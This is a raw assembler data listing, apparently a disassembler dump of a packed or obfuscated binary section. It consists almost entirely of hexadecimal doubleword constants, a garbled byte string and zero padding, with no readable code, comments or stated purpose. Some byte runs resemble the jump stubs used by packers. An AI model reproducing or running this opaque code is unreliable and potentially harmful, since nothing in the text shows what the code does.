dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 66DAF601h, 0FB2BD281h, 13E9h, 26143500h
dd 83157B80h, 401CB31Fh, 83824576h, 49288622h, 14E8C08Bh
dd 0C000000h, 8D88BDD7h, 82657B30h, 0E5C9D663h, 6693D529h
dd 8A5F95ECh, 0F535ADEh, 8158DBB7h, 5FF8C2h, 0FE900h, 0CCCF0000h
dd 0E252F918h, 5937CAF5h, 8C334521h, 3FD4BF95h, 0C78103A3h
dd 0FC5CD7F7h, 4ACB8166h, 6032FF4Ah, 0E080FB8Bh, 805E619Bh
dd 0C68134E5h, 2A9D83B9h, 8E960h, 34520000h, 0AD830398h
dd 0C580BB96h, 0F68161D8h, 53227EBAh, 30E88166h, 0F9C68144h
dd 6066CFDEh, 8AD6BF0Fh, 0E85661C6h, 0Dh, 50BC0EB1h, 262E56EFh
dd 2E599ACAh, 5B44B3A7h, 0BF0F028Fh, 3EA83D8h, 1C800Fh
dd 13E80000h, 0F8000000h, 0B5BDB240h, 0F3413013h, 41BA7177h
dd 81EFBD5h, 0D7801C05h, 0BB4A5B63h, 52E44753h, 76850F4Fh
dd 0E9FFFFFFh, 98h, 94h, 5, 1, 0A28h, 2, 20h dup(0)
a8S db '8!×-éÂ',0Bh,0
dd 0C6256800h, 13E90624h, 68FFFAB9h, 624C721h, 0FAB909E9h
dd 0C82B68FFh, 0FFE90624h, 68FFFAB8h, 624C8B0h, 0FAB8F5E9h
dd 0CA0F68FFh, 0EBE90624h, 68FFFAB8h, 624CA9Ch, 0FAB8E1E9h
dd 0CD7F68FFh, 0D7E90624h, 68FFFAB8h, 624CE7Dh, 0FAB8CDE9h
dd 0E51C90FFh, 4FBAA6Eh, 20E1C98Dh, 3BC4E5A9h, 5BA600C4h
dd 0D7DE98E4h, 0F7BB32CFh, 18DC53BCh, 36FA7190h, 4E178E71h
dd 0DD5129D5h, 0ACE419AEh, 47F37C39h, 1FD3A16Fh, 7A2A4E02h
dd 8C40D22Dh, 24CFD81Bh, 41E97B86h, 1B82F99Dh, 5400791Ch
dd 15F0A93Fh, 0E68618CCh, 25F2A912h, 0EF818026h, 4966B3Bh
dd 0B2A638C3h, 0F2A82E06h, 690DC125h, 6528C0Bh, 10A26D46h
dd 1B2D1FE6h, 0BAFD5B1h, 6EA6CCE5h, 0A6CAEB0Ch, 74134910h
dd 576409h, 7CF10000h, 0A16F47F3h, 42021FD3h, 640C9E71h
dd 0EE499CC0h, 0C1E7188Fh, 0D6B44636h, 780244Ah, 7149F57Eh
dd 41FD38Fh, 8FDCB450h, 0BB6F1FD3h, 0CD721E97h, 7A15F06Eh
dd 0C09434C6h, 0D425F2AEh, 0EA9E30DFh, 70B143BEh, 0D634F9E5h
dd 0E5B48757h, 809744Fh, 0D9h, 91624595h, 0B058EA17h, 0A1B38B37h
dd 92461FD3h, 56DF5CEEh, 0D3A1D2AAh, 8DB1651Fh, 792CC9DDh
dd 2CD02F7Ah, 6542F688h, 5354089Ah, 3A8535ACh, 401FD3A7h
dd 0EA5C1667h, 80BD7AD8h, 6A165DCh, 271067F9h, 0D760E962h
dd 0D4A1532Bh, 8232E61Fh, 1CB8DC23h, 15F1B1A3h, 0A60D8438h
dd 0D783FC91h, 1C15219Fh, 7C057E32h, 1560F8D0h, 0B3D78B2Ch
dd 0B4F1B13Ah, 2F77274Bh, 0F975BD2h, 19398BF2h, 2EC4FA67h
dd 96F0Fh, 758C2000h, 946B3AFEh, 0B051591Dh, 0CB347539h
dd 0EB169054h, 676E2874h, 874BC23Fh, 0A86CE32Ch, 0C68A0100h
dd 0DEA71EE1h, 0DBE1B965h, 3C7419AEh, 0A06145C9h, 0BD426529h
dd 7030B946h, 8F37C938h, 0D3A21BF3h, 0EAC26E1Fh, 7D1FD3A1h
dd 0B8DC90C9h, 0ECBC7C55h, 0BE436515h, 0D60842Ch, 0EE6922Ah
dd 0A11FD3A2h, 533C7EDh, 0F58187C7h, 194FD851h, 9EF52865h
dd 9E3A5E4Bh, 15F036F9h, 20DA666h, 5FF1A5DEh, 0F276EBBFh
dd 14D45125h, 35DD6F92h, 763810BCh, 17CB25F2h, 0D56678F3h
dd 9759784h, 9D29h, 6245B600h, 0CE8E0B9Dh, 540428D7h, 7D1DAF52h
dd 1FD3A732h, 19906F38h, 1BAD5255h, 0A51E73C4h, 0F0B680F9h
dd 9215D515h, 5C10496Dh, 0D4B97EE5h, 234CAF5Bh, 45F91C14h
dd 679A0CCCh, 2EDA63F0h, 2C146256h, 611135E9h, 0AF5B045h
dd 6737FF66h, 982EFA66h, 87379h, 79882400h, 98673E02h
dd 0B44D5D21h, 0CF30793Dh, 0EF129458h, 6B722C78h, 8B4FC63Bh
dd 0AC70E728h, 0CA8E05FCh, 0E2AB22DDh, 0DAE5BD69h, 407819AEh
dd 0A06145CDh, 0BD426529h, 8983B946h, 0B24F5BC7h, 0A7F2A58Ch
dd 62452083h, 0E6BA481Bh, 4FF3D7C5h, 619E09BDh, 0E1B483EAh
dd 7FA0BC68h, 873B15F5h, 0A1D6D80Eh, 0F223C462h, 0CCC55CEh
dd 28D0629Dh, 0AC535404h, 385D8535h, 7FB625F7h, 5C08910Ah
dd 25F73784h, 0C83F6317h, 0AD8ACEAAh, 0AC36FE8h, 9F1C1418h
dd 3DE972EBh, 2C165765h, 8D2044F8h, 5D10D8EDh, 436525B7h
dd 60842CBEh, 0EE672A0Dh, 0FC42BD42h, 3F6A2AB5h, 62862EC0h
dd 0C9E0A029h, 81C29A36h, 0CCDEC5FEh, 0C2FBA335h, 31F16A0Eh
dd 0D1638778h, 5FD8BD7Ah, 0F2184829h, 81A50C57h, 0F0F95C08h
dd 0A666BC1Fh, 0A1DAFE01h, 3FEB74EDh, 0CC202F67h, 0A92246FAh
dd 0CA41BEE9h, 0F75EA106h, 5A6A2A39h, 6967861Ch, 1A000007h
dd 34F86F92h, 53178E71h, 6F33AA57h, 8A4EC53Ah, 226EE51Ch
dd 0C0416568h, 0E12E8549h, 0FF02A66Ah, 1CE3C488h, 0B763DCA5h
dd 19AED9DFh, 7CC73A72h, 0E6BE6AF3h, 791FD3A1h, 0A15129C5h
dd 24E41FD3h, 0B8DC808Fh, 46BFD265h, 0A13911BDh, 18CC1FD3h
dd 0B3CF7BF4h, 4E15F666h, 9AEB219Ah, 0DF1DD8A0h, 79027B9Fh
dd 36C44F0h, 4BFF25F8h, 0D12E7727h, 0F00F965Ah, 2FDAA5Eh
dd 2C60F9Bh, 120B6F0h, 6E4h, 73EA1795h, 9209F6AFh, 0AE25DCCEh
dd 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h, 8D1BDF56h
dd 6E39FD74h, 0D8511A91h, 0AED9542Ch, 3CAFE719h, 14EBBC7Ch
dd 0F79A9DF0h, 40ECBE7Eh, 0D3A1BC94h, 0F79B4F1Fh, 2099BD65h
dd 0F6665874h, 0C63FF315h, 0E75EA106h, 0F1109A5Ah, 9F07B75Fh
dd 4AEB3E62h, 3E22CE47h, 0E925F865h, 0E1858A29h, 65DAAF4Fh
dd 0C3F025F8h, 0A006BA4Ch, 0BE3DCF61h, 0F8D68B20h, 0C6003454h
dd 9945C422h, 4FF8D7A2h, 0E18D1609h, 25F86A09h, 0F9277DAFh
dd 0A0D99903h, 262FC8ECh, 0BC000000h, 85FE93A2h, 0D3A1FDD9h
dd 52E4981Fh, 0D3A1DEB2h, 19C5441Fh, 94B85722h, 776F0h
dd 0DA030000h, 1D5h, 4B7FEB63h, 0F40D9DECh, 0B8183862h
dd 0C0923AE0h, 53FF781Ch, 15F0609Ah, 0E2BA66EFh, 0FE25F2A0h
dd 20C85AB5h, 0D60F33E7h, 6673A922h, 11C8F4C6h, 0B256A9FEh
dd 0BE7EFB8Eh, 0DE8618E7h, 30B41EBAh, 2FEF559Ah, 0AAED0578h
dd 0EFA0E8Dh, 44F3466Ah, 0A72CD851h, 14CBB8DAh, 1CAE5154h
dd 63175074h, 0D8BD7AD1h, 9016D65Fh, 4EB14D71h, 0FBD1DD54h
dd 990ECE47h, 11B54C5Ah, 59D1D69Ah, 0DD93D5ADh, 8EB468E1h
dd 0F5D44150h, 0FC6307C4h, 342FEC52h, 8558770Dh, 36000005h
dd 50148B76h, 6F33AA55h, 8B4FC63Bh, 0A66AE11Eh, 3E8A0100h
dd 0DC258184h, 0FD12A165h, 1BE6C286h, 38C7E0A4h, 0D37FF8C1h
dd 19AED7FBh, 7CE3568Eh, 8214EBBCh, 0A1815905h, 60141FD3h
dd 649B0CBCh, 66179040h, 63B95EBDh, 43D579BCh, 0CD464BECh
dd 0F0361021h, 68E19515h, 6CFE01A8h, 9C29A0C4h, 348F6713h
dd 992225F2h, 0F23515EDh, 50F4A825h, 6AFC13A0h, 0B9EE9EC2h
dd 23276C4h, 3BDFDF11h, 38C660D4h, 2645DBF0h, 4F8h, 87FE03A9h
dd 0A61DE2C3h, 0C239C8E2h, 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h
dd 0A50ED249h, 792FF36Ah, 5A4D1188h, 0EC652EA5h, 0AED76840h
dd 50C3FB19h, 0B9D6245h, 1DAF5057h, 61C01E99h, 6038E446h
dd 0F31FD3A1h, 7A249B3Fh, 0F094B83Fh, 1F3EB8EEh, 3F2821BAh
dd 27821Bh, 0A20F0000h, 0DB870095h, 15F0B6FAh, 0DC59EB9Fh
dd 0E2748B1Ch, 0A67A163Ah, 0C25F2B6h, 0AFEA518Dh, 3E097457h
dd 31h, 0EABC7CCBh, 97A0F317h, 89CD79F2h, 3415F0F0h, 5E470780h
dd 0A57A2AA1h, 0BB25F2EFh, 0D89C13ECh, 0D9B15DCDh, 6C25F2EFh
dd 638214B8h, 448h, 33467CECh, 936C3D17h, 0C99C0B6Dh, 0B0E552A5h
dd 0B8EEAE37h, 7C892549h, 0F915EFD4h, 0A8FFB345h, 2A65B4Bh
dd 7D76670h, 54CDC077h, 0EE29BA8h, 4D58181Ch, 0D47820B2h
dd 0F10E995Dh, 5A2F085Fh, 778821E1h, 452EDA53h, 7A222DF2h
dd 0EE12EDBAh, 0DD6F01B5h, 4FD8805Eh, 2FF1CBA3h, 0E285E32h
dd 96DBAA02h, 50FC7519h, 32300978h, 8333570Bh, 0A262DB24h
dd 4DB4F211h, 446317A9h, 0DD8129BBh, 0F3857A2Dh, 49B0274Bh
dd 76229BEEh, 284D22EDh, 681CAE62h, 0BE47C03Fh, 0B955ACFEh
dd 384F22E1h, 0A9CC074h, 99E5F978h, 0E972EB9Eh, 36738029h
dd 0EB9325C9h, 3BA22BC7h, 57172E6Ch, 0F31DAF50h, 0FBEECC60h
dd 0B95D01F3h, 802CB542h, 3E6DD6A8h, 0D32C7B3Bh, 0D1F59941h
dd 0E7798621h, 0FC8E7333h, 0FA16048h, 25B7585Bh, 9A8757E6h
dd 0BA62F40Bh, 5D811016h, 0A31CE3C4h, 0AD3FD0E3h, 36AE105h
dd 5FE86134h, 0B6CC0429h, 0FEAA7779h, 3E6E6C26h, 3D6105B9h
dd 8B7CB8A1h
dd 0E7792D34h, 0F98B7433h, 88F6E867h, 0B561DAAFh, 3AAA8DCCh
dd 0F4CC7801h, 874AAC8Dh, 0C276AFD3h, 0DF20874Bh, 0F10E994Dh
dd 7124137Ah, 95374CF8h, 8EC440C9h, 0ED2352A7h, 0EE670BD3h
dd 0C3AC8DB8h, 76F319E6h, 606086EEh, 3E63086Dh, 43E37599h
dd 50CAA26Fh, 0B38856D5h, 3F9C47E6h, 2007h, 95A29400h
dd 36DB8700h, 0E315F081h, 29FD9D2Fh, 8F25F2C2h, 2C6DCE10h
dd 0C109745Ch, 0E2h, 47F37C4Eh, 1FD3A16Fh, 7A2A4E02h, 0C340D22Dh
dd 355BA403h, 902D25ADh, 0B0D430h, 15C95BA6h, 34F46D92h
dd 51F98B76h, 0C0E79B2Dh, 0CD18C83Fh, 0D31FD32Ch, 0F0B42BD4h
dd 5FB648B7h, 2CFEA9D8h, 0D32BA880h, 0E3873B1Fh, 8C05A951h
dd 0F040B7E0h, 1782C15h, 7FF89D9Ah, 13AFF8D3h, 0CCC551Ch
dd 0F4CC68A7h, 102C13EFh, 2CD46699h, 178F3FF3h, 8CB058EAh
dd 0F0269F53h, 0FAAE9330h, 0F786E107h, 0D1307626h, 0FA73973Fh
dd 1E956C3Ah, 4EB54C5Ah, 0FA66EF38h, 1596B54Bh, 0C6000002h
dd 0E0A41BE6h, 0FFC33AC5h, 1BDF56ABh, 36FA718Eh, 0CE1A9170h
dd 6C951114h, 8D8231F5h, 0AB565216h, 0C8377034h, 630F8851h
dd 19AED48Bh, 4573E61Eh, 6529A061h, 8444BD42h, 0A048DA25h
dd 0B878057Ch, 0D88012EDh, 95A251B4h, 36DB8700h, 0E315F081h
dd 0CB7B8423h, 0EB7D21DEh, 0F2C1774Bh, 805EDD25h, 719018D8h
dd 7D1337DFh, 9745C3Ch, 0E2D1h, 62455E00h, 4F570B9Dh, 6BFD04A6h
dd 0ED8D1FC3h, 1FD3A7A2h, 8700FFA8h, 0A67A52FEh, 840D1FD3h
dd 0D3A700D8h, 3BDF931Fh, 8A13A017h, 0D3A706DEh, 0D5AD591Fh
dd 681FD3A6h, 0A3C77BB4h, 0B94BB4F3h, 2F07B33Ch, 0C21FD3A6h
dd 0A097EA0Eh, 9FC874EDh, 1415F0BBh, 265CE960h, 0C5E57E51h
dd 80D3F7EEh, 0D059D2B7h, 0F3C39B47h, 0A25625F2h, 61A2E27Eh
dd 85451C14h, 0A74FE12Eh, 0DCCA8A03h, 0BCEAAE25h, 5952DE45h
dd 3BD1FA66h, 1171Ch, 1DE4C800h, 3CC3E2A6h, 58A901C5h
dd 738C1DE1h, 936E38FCh, 0F16D01Ch, 2FF36A97h, 50148B84h
dd 6E32A958h, 864FC639h, 0D389610Dh, 0E41C19AEh, 0CB614571h
dd 0D3A1471Fh, 0A551DA1Fh, 1FD3A1CDh, 5808AC60h, 970EB24Dh
dd 0FDD5810Ah, 901FD3A1h, 9F08B8DCh, 4572E960h, 570B9D62h
dd 0AB38AF50h, 1E42BFEBh, 0B0296CCBh, 2448B7F0h, 678FFFABh
dd 5E1215F6h, 7D8225E5h, 9413C759h, 7730F46Bh, 564F0F88h
dd 0F66F17A9h, 0F866724Ah, 2D510525h, 19B3FB9Bh, 4AF394Ch
dd 6C4F790Bh, 3D4EEA60h, 32CDDC8Ch, 4F8F0EA0h, 0A1855D09h
dd 641851ECh, 0B32BBAC0h, 3CC5E5A5h, 2EDE02AAh, 2C7A79h
dd 0ECA17C54h, 0B75B0F51h, 60D97D25h, 307FB42Ah, 72380D06h
dd 0B155FD8Fh, 5552168Dh, 456418AAh, 6206F9AEh, 1FBF3ED0h
dd 0E35AA502h, 0A1F5881Fh, 0ACD6B1DEh, 63E07216h, 748B1ADAh
dd 0EC9200D8h, 3E5DA651h, 0F1E3EBD9h, 0C5E004B8h, 8, 0CF327838h
dd 40A748ABh, 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h
dd 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh
dd 0E6895686h, 4C681h, 0EE830000h, 24348704h, 6824248Bh
dd 2C7Bh, 68241C89h, 6B97h, 68243489h, 624C4B5h, 83241C8Bh
dd 0D56804C4h, 89000075h, 4832424h, 815E0424h, 4ECh, 241C8900h
dd 8B08468Fh, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 2434FF5Ch, 4C4835Bh, 0FAAD61E9h, 0B1AB5FFh, 0B8FABB88h
dd 624CFB9h, 0E0FFC503h, 17E37304h, 318E227h, 18B187C9h
dd 327CF004h, 3E8A39FCh, 220764C9h, 66076793h, 24EBh, 8 dup(0)
dd 0BDE90000h, 89000000h, 24D04EB5h, 0F5858B06h, 8B061F0Eh
dd 1F2D1585h, 98B58D06h, 8D0624D0h, 224BA885h, 0C3D0FF06h
dd 0E855h, 815D0000h, 24D09EEDh, 0F5BD8306h, 1061F0Eh
dd 2C850Fh, 0B5FF0000h, 624D04Eh, 2D15858Bh, 3635061Fh
dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
dd 40E9C0h, 1C6A0000h, 0D052B58Dh, 0FF560624h, 24D04EB5h
dd 15858B06h, 35061F2Dh, 34812736h, 0C483D0FFh, 52B58D0Ch
dd 8B0624D0h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
dd 5E9h, 1B800h, 0BD830000h, 61F0EF5h, 7850F01h, 5D000000h
dd 2E9C3h, 0CF5D0000h, 0D077858Dh, 85890624h, 61F0F51h
dd 0D22C8D8Dh, 9D310624h, 61F1081h, 0B5D8D89h, 6A061Fh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 895173C3h, 1F0729B5h, 8B665B06h, 0C585C7FAh, 0E0061F20h
dd 0F00005Bh, 1581h, 0FE800h, 0CA6E0000h, 877283D2h, 0D792A7B0h
dd 3AE90633h, 0E9605EDBh, 5, 63BA2B90h, 0F98B664Eh, 7D85C761h
dd 61F13h, 60000000h, 329D8589h, 8952061Fh, 1F108D8Dh
dd 89615A06h, 1F1B058Dh, 0CDB5FF06h, 6A061F1Eh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0B1C6C350h, 2D5995FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0EEB9D7C3h, 5325150Dh
dd 0BD293C19h, 61F24D1h, 0E4C08166h, 0FF006AB7h, 1F1D4595h
dd 0EBC08B06h, 495B503Dh, 631A1D67h, 0E0F697EEh, 226ACBCEh
dd 7E6B9DE7h, 0A7308903h, 34DFE812h, 934C9F7h, 7BB38C31h
dd 236C5E9Eh, 5A4ADC03h, 0B5A67541h, 51FFD74Eh, 635000BEh
dd 0A767039Ch, 0EE8E563h, 0E9000000h, 741861DBh, 0F89A0361h
dd 0D1BF7F5Ch, 159D8928h, 5B061F2Bh, 3179B529h, 0C381061Fh
dd 5CC5h, 0F62BCF8Bh, 333C8BF8h, 0F7819AB1h, 7A0F2D3Ah
dd 48A0Fh, 0B9660000h, 0C78185D6h, 88259FEh, 18C58D8Bh
dd 0F781061Fh, 1A486112h, 0E98157FCh, 65798893h, 8B33048Fh
dd 1F20E18Dh, 9958906h, 83061F2Bh, 8F0F04EEh, 6, 2A498589h
dd 0FE81061Fh, 0FFFFA3E0h, 13850Fh, 81660000h, 0E93F85CAh
dd 20h, 3404C1E8h, 0F98AF41Ah, 0F281667Ch, 8AE9FDD0h, 2FFFFFFFh
dd 7C69D2E8h, 86A3CB0Dh, 0D528520Fh, 0CB2F08EBh, 3239h
dd 0F7E9023Fh, 6800000Bh, 624D492h, 0FB7698E9h, 0D5C268FFh
dd 8EE90624h, 68FFFB76h, 624D760h, 0FB7684E9h, 0D81B68FFh
dd 7AE90624h, 68FFFB76h, 624D8E3h, 0FB7670E9h, 0DAD568FFh
dd 66E90624h, 68FFFB76h, 624DB79h, 0FB765CE9h, 0DCBE68FFh
dd 52E90624h, 68FFFB76h, 624DDC6h, 0FB7648E9h, 891A1FFFh
dd 2EE1C728h, 0CB426CCDh, 7225096Ah, 1A8FB011h, 35FA8BB9h
dd 0D334950Ah, 76D738EFh, 1A7BDCB1h, 0C521820Bh, 0EBC12D60h
dd 6F16F7B2h, 0B77FA02Ah, 7021FB92h, 0D5F055E3h, 0A97CD154h
dd 0FA2B7FE0h, 9140D5D6h, 283CF528h, 6A19FBAFh, 2442B0E7h
dd 0CC6EF7ADh, 46FE71ADh, 4547A102h, 0F2000000h, 5C6474B1h
dd 0C95C64C9h, 237EB11Ah, 0B4FBAF37h, 35B86F4Fh, 0C74ADFE0h
dd 47CA7928h, 3BE3CDEEh, 7D07333Fh, 364AA8EFh, 6B53F7ADh
dd 0D3DC31B4h, 0BB6DBB3Eh, 21C3159Ch, 44A9C602h, 0C09CA102h
dd 47000000h, 9F0881A4h, 33B6774Eh, 9A49DCDEh, 0B34890Ch
dd 0E7BE1396h, 774EA326h, 131255B6h, 7AF18E1Dh, 8D002CABh
dd 0C7187DDEh, 0BAA2DFEh, 7C0D187Dh, 638BBE13h, 74F18E1Ch
dd 6CB437C5h, 3164CDB9h, 0FBAF0B5Ch, 0CD218231h, 92C52E58h
dd 1CCB2BCh, 0B2036C1Bh, 52B31489h, 3539B469h, 0B9E2FD5Ch
dd 9DCE736h, 2F120000h, 8EB41576h, 6B55B617h, 0CAF253B4h
dd 0AE91F253h, 1B6A98F9h, 15762B14h, 0B8198CB4h, 5ABB5057h
dd 0FA5B2CF9h, 0E806399Eh, 0E7F7B2ECh, 9BA4FB40h, 607C9D06h
dd 0D45570EFh, 0B97DB251h, 0F34A7FBFh, 0D6AC2F14h, 3899FA88h
dd 4CC1E66Dh, 873EB0E3h, 0E291F18Eh, 0B181D233h, 7EB11A74h
dd 0FBAF3723h, 4B8205B4h, 0F7AD37A7h, 0C486709h, 0A1024663h
dd 60EC97B8h, 1E53CAF2h, 95C8AE88h, 0F7AD4F59h, 9220CF7Eh
dd 0DE53h, 81A4FE00h, 1D7E9F08h, 89BF51C3h, 93E86BF9h
dd 0E80639A8h, 0E7F18EACh, 60E3BA82h, 0FA6312C1h, 8E1186A9h
dd 85DE61EFh, 0EA402664h, 6ED741DDh, 8E3CB33Bh, 0E77524F1h
dd 8E4085A0h, 743510F1h, 525DAE13h, 0FBCA2FBDh, 5600DAACh
dd 0F8CD5009h, 5E0DAC2Fh, 41E42CAFh, 83BB68Fh, 0F18EFDE6h
dd 88B3AE9h, 51BA69h, 0CAFD663Bh, 0F18EFD24h, 0D7604B3h
dd 0AFEBB3DAh, 0F0D526FBh, 0CF7EA937h, 7B0B1A6Eh, 8E84DF12h
dd 0A65501CDh, 98C3EC3Dh, 8F96FB92h, 8DEE4FFEh, 6072EDA2h
dd 0FCE2FDBEh, 8AC2A79h, 0DFE20000h, 0BE84E546h, 1B2586E7h
dd 0FAC22384h, 5E61C223h, 2B3A68C9h, 0E546DBE4h, 88E9BC84h
dd 2A8B0027h, 0CA2BFCC9h, 18D6096Eh, 0B7F7B2EDh, 9BA4CB10h
dd 6144A506h, 0A4F647A8h, 30850881h, 0CE339415h, 18A84679h
dd 7827F18Eh, 0E9772C13h, 77749491h, 8475BBEBh, 0C617802Fh
dd 87AC2FE6h, 0C3C3A26Fh, 58E69550h, 0F561BCEFh, 47F6FBAFh
dd 141A6BC4h, 0D15FFE81h, 6FD0596Ch, 1CF3B90Ah, 76CFA99h
dd 85B9E73Eh, 263FC6Dh, 0AD3A1FCFh, 5201B0F7h, 19193AA3h
dd 52D99174h, 9645DAE1h, 834E8508h, 0E07E6814h, 0F3D20F2Eh
dd 65E8A184h, 55B617C6h, 0FD34B770h, 72E812F4h, 3AD5F65Bh
dd 0F364F89Eh, 22F5BD22h, 0C072009Fh, 0E4164A1h, 4B83D7EDh
dd 2E757233h, 72E721C0h, 50B1600Fh, 0FB929AEBh, 6C3D086Dh
dd 2143B2E9h, 0C5EA72E7h, 0AD78CD50h, 0CD0059DCh, 70350E21h
dd 0A85607B6h, 1BB90289h, 25E6BFFCh, 543E5FC4h, 954698A2h
dd 784DB240h, 41E42CAFh, 58A9DC45h, 3D7A55D3h, 0A7C82D8Eh
dd 0D356C8C0h, 0E73FCDE9h, 0B4E7503Eh, 74689E49h, 0C1167F2Eh
dd 34AE608Eh, 0D3066F70h, 7034AE1Bh, 0F95E0DBCh, 4BCE5C33h
dd 8830D1F2h, 7295B0FAh, 88549DE4h, 0B85A7034h, 0AB125D99h
dd 82331989h, 0DE000004h, 8E182CC2h, 8638FF1h, 0B258F18Eh
dd 57F18E2Bh, 96E3F06h, 9DE47225h, 0F18E2B55h, 4DB6D055h
dd 0D9EA7F8h, 4AC9387Fh, 0FFAEFBAFh, 0DCF47484h, 469518E4h
dd 70Eh, 43A47D44h, 0E849DCE2h, 91F2A587h, 38990C30h, 0DE3FD4D7h
dd 515ADDB0h, 36FA5BBCh, 969DFE5Fh, 663FA001h, 83E844A5h
dd 0B2EF9E50h, 458A31F7h, 26F4FA0h, 48E76A23h, 9FA60B99h
dd 6E54A50Eh, 609534B7h, 0D8F19D39h, 0C74AD800h, 0F562A67Fh
dd 459B3968h, 8ABD26D5h, 0FBA9874Ah, 92072C91h, 0F43A82E3h
dd 654B8D98h, 679A03B2h, 1D42766h, 0BE0F7827h, 114F9EF9h
dd 617317C3h, 2902FB2h, 0D5872C73h, 22320A8h, 4DE81B84h
dd 32AB0940h, 6DB80083h, 2085B821h, 0A5A4F507h, 693C8DF6h
dd 0C7DE3FA0h, 2C8DE4C0h, 77DCAEDAh, 0B530DFB4h, 4D99AD97h
dd 5381D053h, 89000006h, 2D8EEFA0h, 0CE2F9007h, 77D839ECh
dd 1E7FE0B7h, 0F927881Dh, 398A394h, 0A67941A2h, 4ADFE445h
dd 0ECBD88E9h, 97CA2F8Bh, 0F7B2F057h, 0B18CD178h, 0CA5F6474h
dd 85DB21Bh, 8E1819D5h, 4089BEF1h, 0A4D09A52h, 4E9523D2h
dd 0FBAFE5CFh, 0F348B160h, 0ADE52EC0h
dd 64F2A1F7h, 0F0B98CE1h, 2475DE6Dh, 5698CB18h, 79F7ADE5h
dd 0F9981BCAh, 6AF8B194h, 0BC6999B8h, 0F31469D2h, 0C019E815h
dd 71240A52h, 3BA04FEEh, 7A199C73h, 3178A5ECh, 0AE5D01CEh
dd 51E80A4Dh, 1BD3F18Eh, 8FF18E51h, 7AE17296h, 7BC33D4Dh
dd 0A43063CCh, 0F3FBA995h, 658AC144h, 5AF7B2B1h, 0F7B2B19Dh
dd 2DA86144h, 1B189E01h, 8B0352D5h, 0C1000005h, 65C627F8h
dd 667C85Fh, 0AF107124h, 56B7188Fh, 315FC055h, 3BD0DB5Ch
dd 0DEB179DAh, 82171C7Dh, 24E5C021h, 0CF0267C3h, 0F7B2F01Fh
dd 0B1C409B0h, 0CA5F6474h, 90F9A847h, 0A94B775Dh, 0EE7120FBh
dd 9AFB8C99h, 2BAEE246h, 0D53ECFD6h, 9A0D2F80h, 0BD317817h
dd 12F7B2EBh, 1374D563h, 0BF107932h, 129523F8h, 9C1FE8BDh
dd 0E4196FBh, 0F7B2EBE0h, 0B240EFh, 184BA0E1h, 0F7B2EBD6h
dd 57BC4AF9h, 8068374Eh, 743DBA9Eh, 6B0464C5h, 0DAA107EFh
dd 1B5h, 6474B185h, 0B019C841h, 0AF33847Dh, 1FA251FBh
dd 0B03E71C6h, 1FF7AD33h, 70270B70h, 33599BE2h, 4EFCF7ADh
dd 969DEE2Fh, 0A1B7301h, 6DBE137Ch, 0AA49CC43h, 4E2CD51Ch
dd 5A0901CEh, 6DF9D0F1h, 30653A01h, 55E3C8D5h, 193A8FF4h
dd 0AA2978F1h, 0AF3F86F7h, 20F18EA6h, 88993C71h, 0D41ED459h
dd 43C4E146h, 0D15A6BC0h, 7D091C70h, 0C550E114h, 5605FBAFh
dd 2979CEDh, 38BAF174h, 65F7ADB9h, 0F045C85Fh, 86689BC8h
dd 49F7ADB9h, 2568EB9Ah, 8BDD6483h, 6889CAE9h, 81D5945Dh
dd 0D606712Bh, 5F6F7DB2h, 38379B29h, 0DA10261h, 30h, 7FB283A4h
dd 0C220F400h, 74B1DF34h, 237EB11Ah, 0B4FBAF37h, 0F876B27Fh
dd 0A04F9291h, 4C0CE61Dh, 2A4F7ADh, 5AC8A7E3h, 0BC7DA102h
dd 28000000h, 850881A4h, 82B20B2Ch, 291F8FF0h, 1A75369Bh
dd 0FBACA270h, 6D3E0712h, 0ED9C4BEAh, 7730156Ah, 5869FF4h
dd 0F5C461A4h, 764FF18Eh, 0A2F74CB5h, 8EF57F6Fh, 5AA150F1h
dd 0F18EF594h, 0A5069443h, 3E04D451h, 0F5747AADh, 0B463F18Eh
dd 0BAED5605h, 0FBAE8227h, 479801B0h, 0B61FAD7Eh, 64C55A65h
dd 0F0DD3803h, 3B953215h, 3B38F19h, 0FBAA33EEh, 0B2F7D14Ch
dd 83E4E2h, 399B1h, 39EACF00h, 0DEB177D8h, 7B121C7Dh, 22F5B91Ah
dd 0CA5F60C1h, 0E52A3B69h, 83E445DAh, 2687E8BFh, 0CA2B8C01h
dd 75D132FBh, 0F211DD10h, 1FC6F7B2h, 69BA4DAh, 0C9EF40A5h
dd 4263C856h, 0A41768C9h, 2C850881h, 0C79BA70Bh, 8E3A5A94h
dd 99CE7DF1h, 0D15F4AA1h, 6FD0596Ch, 9830C21Eh, 678BF18Eh
dd 43F18E98h, 83BA4E2h, 0FBA9CBCCh, 0A94578CDh, 2EF7B26Bh
dd 17C6F17Fh, 0C5EA3B94h, 4302EFCAh, 0C3729526h, 3E48DD35h
dd 0E25F80D5h, 499228E5h, 42B7FE8Ch, 2301D3F6h, 26B9F974h
dd 32B5E2F8h, 2F5E3h, 8D062B00h, 32E5CB2Ch, 0D74E70D1h
dd 76291576h, 168BB415h, 31E687B5h, 0D738990Eh, 7ADB3CD3h
dd 1E7FE0B5h, 0C9258607h, 0F3BD3164h, 6B12F7B2h, 881A426h
dd 94153085h, 4846DF33h, 1E85ACDFh, 0A352FBAFh, 5172C720h
dd 7A271AC3h, 0FFEF36D5h, 0D0F7ADC4h, 6985B821h, 6EF7ADC5h
dd 8EA31BFh, 0A8F7ADC5h, 0C4ABE706h, 81A102E7h, 46h, 6474B12Ch
dd 742B115Eh, 7AAD16C5h, 0FBAF3727h, 439801B0h, 0AD37DE10h
dd 0B442F1F7h, 37F8FA31h, 9FA5F7ADh, 0BBA7352h, 0E0B3388h
